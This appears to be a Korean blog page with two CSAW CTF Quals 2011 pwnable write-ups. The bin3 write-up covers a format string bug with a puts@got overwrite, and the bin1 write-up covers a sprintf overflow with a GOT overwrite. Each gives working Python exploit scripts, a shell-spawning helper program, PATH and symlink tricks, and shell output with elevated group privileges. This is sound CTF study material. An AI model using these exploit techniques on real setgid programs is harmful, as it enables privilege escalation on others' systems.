'csaw ctf'에 해당하는 글 2건

CSAW CTF Quals 2011 - bin3

CTF 2011.09.27 01:49
Category : Pwnables

NULL

Summary : Format String Vulnerability on Ubuntu , overwrite puts@got

Server Info.

user20280@ubuntu:~$ uname -a
Linux ubuntu 2.6.38-11-generic #50-Ubuntu SMP Mon Sep 12 21:18:14 UTC 2011 i686 i686 i386 GNU/Linux

서버 환경은 Ubuntu 이지만 ASLR이 disable된상태이다.

주어진 파일은 flag user에 setgid가 걸린 bin3 과 bin3의 c 소스파일인 challenge3.c이다.


challeng3.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


inline int add(int lhs, int rhs){return lhs + rhs;}
inline int sub(int lhs, int rhs){return lhs - rhs;}
inline int mul(int lhs, int rhs){return lhs * rhs;}
int divi(int lhs, int rhs){
  if(rhs == 0){return 0;}
  return lhs / rhs;
}

void u(){
  printf("number op number\n");
  exit(EXIT_FAILURE);
}

void e(){
  puts("Need operation\n");
  exit(EXIT_FAILURE);
}

int s(char *op, char *lhs, char *rhs){
 
  static int(*opfunc)(int, int);
  int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
  char opmsg[512];

  printf("Operation: ");
  fflush(0);


  switch(*op++){
  case '+':
    opfunc = matfunc[0];
    break;
  case '-':
    opfunc = matfunc[1];
    break;
  case '*':
    opfunc = matfunc[2];
    break;
  case '/':
    opfunc = matfunc[3];
    break;
  default:
    e();
  }

  snprintf(opmsg, sizeof(opmsg), op); // Vuln !!
  printf("%s\n", opmsg);
  fflush(0);
  return opfunc(atoi(lhs), atoi(rhs));
}

int main(int argc, char **argv){
 
  if(argc < 4){ u(); }

  printf("Result: %d\n", s(argv[2], argv[1], argv[3]));
  exit(EXIT_SUCCESS);
}


challenge3.c를 보면 간단한 계산기 역할을 한다.
argv[2][0]의 문자에 따라 사칙연산을 수행하는데 , 해당 문자뒤의 문자열을 format string 없이 snprintf로 변수에 출력해주면서 format string bug가 발생한다.

puts@gotsystem@libc의 주소로 덮고 , 에러 구문에 나오는 파일명으로 쉘을 실행하는 프로그램에 심볼릭링크를 걸어 공격을 한다.  (challenge3.c에서는 snprintf이후 printf를 호출하는것으로 나와있지만 실제로는 puts를 호출한다. 이것을 제대로 보지못하여 3시간이 넘도록 멀쩡한 스크립트를 수정하며 공격해주었다.)

하지만 argv[2]와 snprintf를 수행할때의 esp사이의 거리가 상당히 멀고 , argv[2]에 원하는 데이터가 4의 배수인 주소에 들어가지 않을 수 있기때문에 앞에 넣어줄 padding과 , $flag를 사용한 공격을 하기위해 esp와 argv[2]사이의 거리를 브루트포싱하는 스크립트를 작성해 실행한다.

(gdb) p system // system@libc
$1 = {<text variable, no debug info>} 0x16f950 <system>


   0x0804866c <+260>: call   0x80483f4 <
puts@plt>
(gdb) disas 0x80483f4
Dump of assembler code for function
puts@plt:
   0x080483f4 <+0>: jmp    *0x8049924 // puts@got
   0x080483fa <+6>: push   $0x30
   0x080483ff <+11>: jmp    0x8048384



exploit.py

#!/usr/bin/python

import pwn3rlib , os

TARGET = "/home/user20280/bin3"

printf_got = 0x8049924
system_libc = 0x16f950

fsb = pwn3rlib.fsb() # pwn3rlib.py에 fsb payload를 생성해주는 함수가 정의되어있다.

for OFFSET in range(10,60):
 for i in range(0 , 4):
  payload = "+"+"a"*i
  payload += fsb.getpayload(OFFSET , [hex(printf_got)] , [hex(system_libc)] , i)
  pid = os.fork()
  if pid == 0:
   os.execv(TARGET , ("pwn" , "1" , payload , "3"))
  else:
   os.waitpid(pid , 0)



user20280@ubuntu:~$ ./exploit.py 1>/dev/null 2> log
user20280@ubuntu:~$ cat log
sh: ™: not found
sh: $™: not found
user20280@ubuntu:~$ cat log | xxd
0000000: 7368 3a20 9904 083a 206e 6f74 2066 6f75  sh: ...: not fou
0000010: 6e64 0a73 683a 2024 9904 083a 206e 6f74  nd.sh: $...: not
0000020: 2066 6f75 6e64 0a                        found..
user20280@ubuntu:~$ ln -s ./shell `python -c 'print "\x99\x04\x08"'`
user20280@ubuntu:~$ ./exploit.py
Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: sh: $™: not found
$ id
uid=20280(user20280) gid=20280(user20280) egid=19999(flag) groups=20280(user20280)
$ cat key
key{The_write_n_e_bug}

Flag : he_write_n_e_bug

'CTF' 카테고리의 다른 글

2011 HUST Hacking Festival - M  (0) 2011.10.03
2011 HUST Hacking Festival - K  (0) 2011.10.03
CSAW CTF Quals 2011 - bin3  (0) 2011.09.27
CSAW CTF Quals 2011 - bin1  (0) 2011.09.27
Defcon 19th CTF Quals - Retro Revisted 200  (0) 2011.09.25
Defcon 19th CTF Quals - Retro Revisted 300  (0) 2011.09.23

WRITTEN BY
pwn3r
45

트랙백  266 , 댓글  0개가 달렸습니다.
secret

CSAW CTF Quals 2011 - bin1

CTF 2011.09.27 00:13
Category : Pwnables

NULL

Summary : simple buffer overflow on Ubuntu , got overwriting with sprintf


Server info


user20280@ubuntu:~$ uname -a
Linux ubuntu 2.6.38-11-generic #50-Ubuntu SMP Mon Sep 12 21:18:14 UTC 2011 i686 i686 i386 GNU/Linux

서버 환경은 Ubuntu 이지만 ASLR이 disable된상태이다.

주어진 파일은 flag user에 setgid가 걸린 bin1 뿐이다. Hex-Ray를 이용해 디컴파일하여 분석할 수 있다.

void main(int argc, char **argv)
{
  if ( argc == 2 )
  {
    puts(":)\n");
  }
  else
  {
    if ( argc == 1 )
      puts(":(\n");
  }
  vv(argv[1]);
  exit(0);
}

int vv(const char *name)
{
  int rand_var;
  char *env; 
  char buffer[512];
  unsigned int seed;

  if ( !name || strcmp("MOTR", name) )
  {
    seed = time(0);
    srand(seed);
    rand_var = rand() % 10;
    sprintf(&buffer, "%s\n", array[4 * rand_var]);
  }
  else
  {
    env = getenv(name);
    if ( !env )
      exit(1);

    sprintf(&buffer, "%s\n", env); // Vuln !!
  }
  return printf("%s", &buffer);
}


코드는 매우 간결하다. argv[1]에 "MOTR"이란 문자열을 넘겨주면 , "MOTR" 환경변수의 포인터를 받아와 sprintf를 이용해 지역변수에 출력을 저장한다.
하지만 env환경변수에는 지역변수의 크기를 넘는 데이터를 맘대로 넣을 수 있기때문에 overflow취약점이 발생한다.
sprintf함수를 수행하면서 입력글자뒤에 "\n"이 붙어버려서 , 페이로드에서 마지막글자에도 NULL을 넣어줄 수 없기때문에 Ascii armor가 enable되어있는 libc는 사용할 수 없다.

그래서 sprintf@plt를 이용해 특정함수의 got 에 system함수의 주소를 overwrite하고 마지막에 해당함수의 plt를 호출하는 페이로드를 구성하기로 했다. 
마침 , ASLR이 꺼져있기때문에 system함수의 주소에 해당하는 byte들을 메모리에서 찾을 필요없이 , 환경변수에 등록시켜두고 복사시키기로했다.


call   0x80483c8 <sprintf@plt> // snprintf@plt

(gdb) x/3i 0x08048502 // pop - pop - ret for call
   0x8048502 <__do_global_dtors_aux+82>: pop    %ebx
   0x8048503 <__do_global_dtors_aux+83>: pop    %ebp
   0x8048504 <__do_global_dtors_aux+84>: ret 

(gdb) p system // system@libc
$1 = {<text variable, no debug info>} 0x16f950 <system>

call   0x8048418 <
printf@plt>
(gdb) disas 0x8048418
Dump of assembler code for function
printf@plt:
   0x08048418 <+0>: jmp    *0x804a014 // printf@got
   0x0804841e <+6>: push   $0x28
   0x08048423 <+11>: jmp    0x80483b8

(gdb) x/s 0x80488eb
0x80488eb:  "MOTR" // argument for printf (it will finally be used to system("MOTR");)

system@libc 주소가 0x16f950 이다. 이를 환경변수에 등록시켜둔다.

user20280@ubuntu:~$ export PWN3R=`python -c 'print "\x50\xf9\x16"'`

그러므로 최종페이로드는 다음과 같다.

[sprintf@plt] + [ppr] + [printf@got] + [&env] + [printf@plt] + [aaaa] + [&"MOTR"]

system@libc 주소가 들어있는 환경변수의 주소를 정확히 구하기보단 파이썬 스크립트를 작성하여 브루트포싱하였다.


user20280@ubuntu:~$ cat MOTR.c
#include <stdio.h>

int main()
{
 setreuid(getuid(), geteuid());
 execl("/bin/sh" , "sh" , NULL);
}
user20280@ubuntu:~$ gcc -o MOTR MOTR.c
user20280@ubuntu:~$ export PATH=./:$PATH 


쉘을 실행하는 MOTR이라는 프로그램을 만들고 PATH 환경변수에 현재디렉토리를 최우선으로 설정한다.


exploit.py

#!/usr/bin/python

import os
import time

def pack(data):
 res = ""
 for i in range(0,4):
  res = res + chr(data % 0x100)
  data = data / 0x100
 return res

TARGET = "/home/user20280/bin1"

sprintf = 0x080483c8
ppr = 0x08048502
printf_got = 0x0804a014
printf_plt = 0x08048418
string = 0x80488eb

os.putenv("pwn","\x50\xf9\x16")

for env in range(0xbfffffff , 0xbfffe000 , -1):
 if "\x00" in pack(env):
  continue
 else:
  time.sleep(0.1)
  payload = "a"*532
  payload += pack(sprintf) + pack(ppr) + pack(printf_got) + pack(env)
  payload += pack(printf_plt) + "aaaa" + pack(string)
  os.putenv("MOTR" , payload)
  pid = os.fork()
  if pid == 0:
   os.execv(TARGET , ("pwn" , "MOTR"))
  else:
   os.waitpid(pid , 0)



user20280@ubuntu:~$ ./exploit.py
:)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȃ… ÿÿÿ„aaaa놄
..............................
..............................
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȃ… 瀿¿„aaaa놄
:)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȃ… 怿¿„aaaa놄
:)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȃ… 倿¿„aaaa놄
$ id
uid=20280(user20280) gid=20280(user20280) egid=19999(flag) groups=20280(user20280)
$ cat key
key{Hack_the_planet_now}


Flag : Hack_the_planet_now

'CTF' 카테고리의 다른 글

2011 HUST Hacking Festival - K  (0) 2011.10.03
CSAW CTF Quals 2011 - bin3  (0) 2011.09.27
CSAW CTF Quals 2011 - bin1  (0) 2011.09.27
Defcon 19th CTF Quals - Retro Revisted 200  (0) 2011.09.25
Defcon 19th CTF Quals - Retro Revisted 300  (0) 2011.09.23
Padocon 2011 Quals - Karma200  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  70 , 댓글  0개가 달렸습니다.
secret